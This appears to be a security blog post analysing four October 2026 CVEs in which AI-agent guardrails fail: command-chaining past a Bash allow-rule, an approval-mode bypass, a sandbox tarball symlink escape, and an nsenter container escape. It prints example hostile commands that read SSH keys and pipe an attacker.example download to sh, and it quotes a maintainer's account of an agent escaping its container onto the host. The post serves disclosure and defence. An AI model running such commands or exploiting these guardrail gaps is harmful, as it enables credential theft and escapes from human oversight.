The Rule-Writer Splits on Semicolons, the Rule-Checker Doesn’t: Four Agent Guardrails Fail in One Batch

At 21:17Z on 12 October 2026, NVD published a batch of VulnCheck-assigned records. Four of them, consecutive in all but numbering, describe the same thing happening to four different projects: a control that exists, is named, is documented, is visible in the UI, and does not bound what it claims to bound. CVE-2026-109560 (Continue CLI, 7.7) is a Bash allow-rule that matches chained commands. CVE-2026-109561 (goose, 2.3) is a read-only annotation that silences the Manual Approval prompt. CVE-2026-109375 (Vercel deepsec, 4.9) is a sandbox result tarball that writes through a planted link onto the orchestrator host. CVE-2026-109569 (sandboxed.sh, 9.3) is an nsenter invocation that joins the container’s mount namespace while keeping the host’s root directory.

Taken individually these are four ordinary authorization bugs across a 36,000-star coding agent, a 55,000-star agent runtime, a Vercel Labs security harness and a 527-star self-hosted agent host. Taken together they describe a failure mode specific to this moment: the industry has spent two years building approval dialogs, permission YAML, tool annotations and container isolation as the answer to “what if the model is prompt-injected,” and the answer only works if the control was engineered as a security boundary rather than as a user-experience affordance. In three of these four, the correct logic already existed somewhere else in the same repository.

Continue: the same codebase knows commands can be chained, and forgets at the one place it matters

The Continue CLI lets you approve a terminal command and remember the decision. Approve ls -la and Continue writes a rule into permissions.yaml. The function that writes it is generatePolicyRule in policyWriter.ts, and we read it at main HEAD today:

// Extract the first command (before pipes, &&, ||, etc.)
const firstCommand = command.split(/[;&|]|&&|\|\|/)[0]?.trim();
if (firstCommand) {
  // Extract just the command name (before spaces or flags)
  const commandName = firstCommand.split(/\s+/)[0];
  return `Bash(${commandName}*)`;
}

The writer understands perfectly well that a shell command is a sequence. It splits on ;, &, |, && and ||, takes the first element, and generalises it to Bash(ls*). Now the checker, matchesToolPattern in permissionChecker.ts, also read at main HEAD:

// Escape all regex metacharacters except * and ?
const escaped = commandPattern.replace(/[.+^${}()|[\]\\]/g, "\\$&");
// Convert * and ? to their regex equivalents
const regexPattern = escaped.replace(/\*/g, ".*").replace(/\?/g, ".");
const regex = new RegExp(`^${regexPattern}$`);
return regex.test(command);

No split. Bash(ls*) becomes ^ls.*$ and is tested against the entire command string. ls; cat ~/.ssh/id_rsa matches. So does ls; curl http://attacker.example | sh. The rule the user believes they granted — “you may list directories” — is in fact “you may run anything whose first two characters are ls.”

Continue has a second defence, a dynamic evaluator that scores terminal commands for risk. It fires, it returns ask for the chained payload, and it is then discarded. From permissionChecker.ts at main:

// If dynamic evaluation says disabled, that ALWAYS takes precedence
if (evaluatedPolicy === "disabled") {
  return { permission: "exclude", matchedPolicy };
}

// Otherwise, user preference wins - return the original base permission
return { permission: basePermission, matchedPolicy };

Only disabled overrides the static rule. An ask recommendation from the security evaluator loses to a stale allow-rule generated from a command the user approved weeks ago. The two defences are arranged so that the weaker one wins.

This was filed publicly as issue #13288 on 17 September 2026 by Chengzhi Yi (GitHub @Tardfyou), with a reproduction that needs no network and no model, and a suggested fix that points at Continue’s own evaluateTerminalCommandSecurity — which already splits compound commands — as the existing precedent. The issue is still open with one comment, from @DSHCorrectover on 5 October, correctly noting that a naive separator split is necessary but not sufficient: ls | sh contains no listed separator in the position the split cares about, and ls $(curl … | sh) executes during expansion, before the “outer” command runs at all.

The part that decides how seriously to take this: the CVE affects “through 1.5.47,” and @continuedev/cli’s dist-tags.latest on the npm registry is 1.5.47, published 18 June 2026. There has been no release in nearly four months. There is no fixed version to upgrade to, which puts this in the same shape as the agno PythonTools batch and the hyper-mcp cosign records: a correct advisory, a reachable default, and nothing to install.

goose: an annotation written for one mode, honoured in both

goose offers Manual Approval and Smart Approval. Smart Approval is explicitly the convenience tier — it uses an LLM to classify tool calls and skips prompting for things judged read-only. Manual Approval is the tier you select when you do not want that. We read crates/goose/src/permission/permission_inspector.rs at tag v1.43.0 and found both modes sharing one match arm:

GooseMode::Approve | GooseMode::SmartApprove => {
    // 1. Check user-defined permission first
    if let Some(level) = permission_manager.get_user_permission(tool_name) { … }
    // 2. Check if it's a smart-approved tool (annotation or cached LLM decision)
    } else if self.is_readonly_annotated_tool(tool_name)
        || (goose_mode == GooseMode::SmartApprove
            && permission_manager.get_smart_approve_permission(tool_name)
                == Some(PermissionLevel::AlwaysAllow))
    {
        InspectionAction::Allow

Look at the two halves of that condition. The cached-LLM-decision arm is correctly gated on goose_mode == GooseMode::SmartApprove. The annotation arm, right next to it, is not gated on anything. A tool carrying readOnlyHint: true is auto-allowed in Manual Approval too. The comment above the branch even says “smart-approved tool” — the author knew which mode this belonged to and gated one of the two paths.

The fix is the gate the other arm already had. Commit b0f4e2a0, merged as PR #10528 on 21 July 2026, changes the branch to goose_mode == GooseMode::SmartApprove && self.is_readonly_annotated_tool(tool_name), updates the comment to “Check for a read-only annotation in SmartApprove mode,” and — the detail that matters for whether this stays fixed — adds a decision-matrix regression case named approve_ignores_annotation. The same PR relabels Code Mode’s execute_bash as mutating, destructive, non-idempotent and open-world, which is the other half of the problem: an annotation is only a safety signal if the tool that can run arbitrary shell is not labelled read-only in the first place. The PR body credits the finding to Project Loupe, an automated audit effort, citing two of its tracked issues.

That fix shipped in v1.44.0 on 23 July 2026. The CVE arrived on 12 October — eighty-one days later. We confirmed the mode guard is present at master HEAD. If you run goose, this one is simply an upgrade; the record is late, not open.

deepsec: the security fix merged under a Windows-compatibility title

Vercel Labs’ deepsec runs coding agents against your codebase to find vulnerabilities, inside a Vercel Sandbox, and brings results back as a tarball. extractTarballLocally unpacked that tarball on the orchestrator host by shelling out to tar -xzvf with no restrictions. Since the tarball is produced by the sandbox — the untrusted side — an agent that has been prompt-injected inside the sandbox can emit a link member followed by a regular file member that writes through it, landing arbitrary content on the host that is supervising the sandbox. CWE-59, and a clean crossing of the one trust boundary the architecture exists to maintain.

The disclosure history here is the interesting artefact. The reporter, @aydinnyunus, opened PR #46 on 5 May 2026 at 17:20Z, titled “fix(sandbox): refuse symlink/hardlink members in result tarball extraction,” with a body that states the escape plainly: sandbox-side code execution becomes orchestrator-host arbitrary file write. That PR is still open today, five months later, with three comments and no merge.

Two and a half hours after it was opened, PR #47 was merged at 19:55:47Z. Its title is “Improve windows compat and make tar usage more robust.” Its body is the unfilled pull-request template. Its diff is the fix: extractTarballLocally is rewritten from a spawn("tar") call into a two-pass list-then-extract using the tar package with strict: true, rejecting the whole archive before a byte hits disk if any entry has a disallowed type, plus an explicit allowlist — const ALLOWED_EXTENSIONS = new Set([".json", ".md", ".csv"]), commented “Sandbox results are JSON file records, run metadata, and reports — nothing else.” A new tarball.test.ts plants fs.symlinkSync("/etc/passwd", …/evil.link) and asserts no SymbolicLink entries survive. Version 1.1.17 was published to npm at 19:56:57Z, seventy seconds after the merge.

So the engineering was good and fast. What was lost is the record. Anyone reading deepsec’s commit history for security-relevant changes on 5 May sees a Windows compatibility commit, the reporter’s PR sits open as though nothing happened, and the only artefact that says “sandbox escape” out loud is a CVE published five months later. We have watched this shape before in the DeepSeek harness VM escape, where the vendor genuinely fixed the issue in an architecture commit and never told the reporter. A silent fix protects the users who upgrade and nobody else: it gives downstream consumers no reason to prioritise the bump, and it gives the next reporter a reason to doubt that filing is worth the effort.

sandboxed.sh: the highest score in the batch, and the maintainer wrote the incident report himself

The last record carries the batch’s only high score — 9.3 on CVSS 4.0, with every impact metric at High including the subsequent-system set, reflecting that the escape lands on the host rather than in the workspace. It is also the only one where the primary source is not a researcher’s write-up but the maintainer’s own commit message, which opens:

“After a goal-mode mission slipped out of its container and rewrote the host’s nginx config + /usr/local/bin in a tight hotswap loop, this adds two defensive knobs to the deploy path. Both are opt-in via env var so existing hosts upgrade cleanly.”

That is an unprompted, first-person account of an autonomous agent escaping its container and modifying host system configuration in production, written in May 2026 and sitting in public git history ever since. The mechanism is one missing flag. The harness attached CLI processes to the container’s persistent leader process with:

nsenter --target <leader> --mount --uts --ipc --net --pid /bin/sh -lc

Five namespaces, no --root. The in-tree comment added by the fix explains the consequence better than an advisory would: without it, “nsenter enters the container’s mount NS but the new process keeps the caller’s (= host’s) root directory, so resolves /etc/… and /usr/local/bin/… against the host even though mounts are container-local. That’s the path a goal-mode mission used to drop sandboxed-sh-prod-hotswap-* binaries into the host’s /usr/local/bin and rewrite the host’s nginx config.”

The fix is to append one argument. It is gated behind SANDBOXED_SH_NSENTER_USE_TARGET_ROOT=1, and the comment states the reasoning without euphemism: “Default = legacy unsafe behaviour so an existing deployment doesn’t break on upgrade.” The stated blocker is operational — the harness tools (claude, codex, opencode, MCP binaries) may only be on the host’s PATH, not inside the container rootfs, so forcing the container root would break agents on hosts that were never provisioned for it.

We read src/workspace_exec.rs at master HEAD today, on a repository pushed yesterday afternoon. The code has been refactored and grown a per-call override, and the default has not moved:

fn use_target_root(&self) -> bool {
    self.require_target_root || env_var_bool(NSENTER_USE_TARGET_ROOT_ENV, false)
}

The constructor sets require_target_root: false. A builder method with_required_target_root() exists, documented “Privileged setup must use the container root regardless of legacy defaults,” and it is used for privileged setup paths — not for ordinary agent-driven workspace execution. The environment variable still defaults to false. Nearly five months after a maintainer documented a real escape in his own infrastructure, the safe behaviour remains opt-in.

One versioning note, stated as an observation rather than a conclusion: the CVE names “sandboxed.sh through 1.3.0,” while the repository — now renamed Th0rgal/orb, described as “formerly sandboxed.sh (now the backend to the Orb clients)” — has no tag in that series. Its newest tag is v0.12.0, cut 16 May 2026, and the GitHub compare API puts the fix commit fifty commits ahead of it. Whatever “1.3.0” refers to, no tagged release in this repository contains even the opt-in knob. If you run this, the remediation is not a version bump; it is an environment variable and a check that your container rootfs has the agent binaries in it.

What the batch is actually about

Four projects, four different languages, four different architectures, one recurring error: the boundary was specified in terms of the shape the author expected rather than the shape the underlying system accepts. The shell accepts ; and | and $(); Continue’s regex accepts a prefix. tar accepts link members; deepsec’s extractor accepted whatever tar did. nsenter treats the root directory as a separate thing from the mount namespace; the harness assumed five namespaces meant containment. goose’s annotation was designed as a hint for one mode and read as a grant in two.

There is an audit that falls out of this and costs an afternoon. For every control in your agent stack that suppresses a prompt, find the two code paths — the one that creates the permission and the one that evaluates it — and confirm they parse the subject identically. Continue is the pure case: both functions are in the same directory, both were written by the same team, one splits on separators and one does not, and the gap between them is the vulnerability. Then ask the harder question the Continue thread already raises: when your evaluator and your static rule disagree, which one wins? If the answer is “the user’s saved preference,” your dynamic evaluator is advisory, and you should stop counting it as a layer.

A note on the numbers, since this batch prices them oddly. The container escape with a maintainer-documented real-world occurrence scores 9.3. The unfixed command-chaining bypass in a 36,000-star coding agent scores 7.7. The Manual Approval bypass scores 2.3 — defensible on raw impact, since read-only-annotated tools are the ones that run, but the thing that failed is the control a user selects precisely because they do not trust the model’s judgement, and a bypass of the “ask me every time” setting is not well described by the confidentiality impact of the first tool call it lets through. Threshold-based triage at 7.0 surfaces two of these four and filters the one where the user explicitly asked to be in the loop.

What to do

  • goose: upgrade to 1.44.0 or later. This is the one with a clean remediation. The mode guard and its approve_ignores_annotation regression test are present at master. If you are between 1.28.0 and 1.43.x and rely on Manual Approval as a prompt-injection control, you did not have it.
  • Continue CLI: audit permissions.yaml by hand, today. Every Bash(x*) entry is a prefix grant over the whole command string. There is no fixed release — 1.5.47 is both the affected ceiling and the latest npm version. Until there is, treat saved Bash rules as disposable: delete the file between sessions, or keep only exact-match rules, which the checker handles with command === commandPattern rather than a regex.
  • deepsec: be on 1.1.17 or later (current latest is 2.3.10). If you ran an earlier build against untrusted code, the escape wrote to the orchestrator host, not the sandbox — review the host’s data directory and anything the orchestrator process could write.
  • sandboxed.sh / orb: set SANDBOXED_SH_NSENTER_USE_TARGET_ROOT=1 after confirming your container rootfs contains the agent binaries, and do not wait for a release to do it. The unsafe path is still the default at HEAD.
  • Generally: test the boundary, not the feature. Each of these would have been caught by one adversarial test — a chained command against an allow-rule, a read-only-annotated tool in Manual mode, a symlink in a result tarball, a write to /etc from inside the container. goose’s fix added exactly that test. The others shipped a fix without one, or have not shipped at all.

Verification note. All four CVE identifiers, publication timestamps (21:17Z, 12 October 2026), vulnStatus: Received, CWE assignments, CVSS 3.1 and 4.0 scores and vectors, affected and fixed version ranges, and the disclosure@vulncheck.com assigner were read first-hand from the NVD 2.0 API. All source excerpts are quoted verbatim from files we fetched directly: Continue’s permissionChecker.ts and policyWriter.ts at commit d3f60ba9 and at main; goose’s permission_inspector.rs at tag v1.43.0 and at master; orb’s workspace_exec.rs at master. Commit messages, in-code comments, PR titles, bodies, authors, open/merged states, comment counts and merge timestamps (goose PR #10528, deepsec PR #46 and #47, orb commit 4ab42e91) were read first-hand from the GitHub API, as were release dates, tag lists, the v0.12.0-to-fix-commit comparison, and star/fork/push data. npm publish times and dist-tags for @continuedev/cli and deepsec were read first-hand from the registry. The Continue issue #13288 reproduction, impact table and suggested fix are the reporter’s published analysis, attributed to Chengzhi Yi. We installed none of these projects, executed no proof of concept, started no agent, built no malicious tarball and sent no request to any third-party deployment. Search for existing coverage was performed through the Brave Search API and returned only automated CVE-mirror pages; the connection drawn across the four records, the write-path/check-path framing and the scoring critique are our editorial analysis. We have no evidence of exploitation beyond the incident the orb maintainer describes in his own commit message, and imply none.

Sources: